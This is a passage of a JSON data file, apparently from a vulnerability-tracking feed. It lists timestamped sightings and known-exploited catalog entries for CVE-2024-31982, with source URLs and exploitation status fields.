"kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/378", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "31f558c0-67db-47b2-9dae-3f6ca7903b68", "url": "https://t.me/ZerodayAlert/378"}, {"timestamp": "2026-07-26T07:01:22.084Z", "date_only": false, "value": "2026-07-26T07:01:22.084523Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3087", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "718e628c-7c97-47a2-99d6-7a8249cbaebe", "url": "https://t.me/Positive_Technologies/3087"}, {"timestamp": "2026-07-27T00:01:25.918Z", "date_only": false, "value": "2026-07-27T00:01:25.918493Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3087", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "cefb0aab-7bdd-41d5-a3a4-ae5308681400", "url": "https://t.me/Positive_Technologies/3087"}, {"timestamp": "2026-07-28T17:00:06.173Z", "date_only": false, "value": "2026-07-28T17:00:06.173786Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3087", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "26230257-00e9-43ed-8234-6f0e46e38656", "url": "https://t.me/Positive_Technologies/3087"}, {"timestamp": "2026-07-29T00:00:31.784Z", "date_only": false, "value": "2026-07-29T00:00:31.784011Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3087", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "7d6b9ce8-bedc-486b-a344-11a24b48c43f", "url": "https://t.me/Positive_Technologies/3087"}, {"timestamp": "2026-08-06T06:00:05.107Z", "date_only": false, "value": "2026-08-06T06:00:05.107121Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/378", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "8bc40208-28bd-4647-8103-e2af26459363", "url": "https://t.me/ZerodayAlert/378"}, {"timestamp": "2026-08-07T00:25:56.954Z", "date_only": false, "value": "2026-08-07T00:25:56.954883Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/378", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "15e62736-0330-49d8-86a7-722ab1ef5e1e", "url": "https://t.me/ZerodayAlert/378"}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2024-31982", "field": "timestamps.asserted_at", "uuid": "6ee93128-9c6a-4c9f-9310-cdc531ab2279", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "previdian", "record": "CVE-2024-31982", "field": "evidence.0.details.added_date", "uuid": "6ee93128-9c6a-4c9f-9310-cdc531ab2279", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "previdian", "record": "CVE-2024-31982", "field": "timestamps.first_seen_at", "uuid": "6ee93128-9c6a-4c9f-9310-cdc531ab2279", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "previdian", "record": "CVE-2024-31982", "field": "status.status_updated_at", "uuid": "6ee93128-9c6a-4c9f-9310-cdc531ab2279", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-11T11:00:01Z", "date_only": false, "value": "2026-09-11T11:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "previdian", "record": "CVE-2024-31982", "field": "timestamps.recorded_at", "uuid": "6ee93128-9c6a-4c9f-9310-cdc531ab2279", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-11T11:00:41.318Z", "date_only": false, "value": "2026-09-11T11:00:41.318399Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db24582b-4837-4ebe-bffb-0852f51b470a", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "cd12cbd5-7f73-489c-b0d9-892afa340ac2", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db24582b-4837-4ebe-bffb-0852f51b470a"}, {"timestamp": "2026-09-11T11:00:41.347Z", "date_only": false, "value": "2026-09-11T11:00:41.347273Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/6ee93128-9c6a-4c9f-9310-cdc531ab2279", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "68474845-bed5-424c-b8b9-26df86b5613b", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/6ee93128-9c6a-4c9f-9310-cdc531ab2279"}]}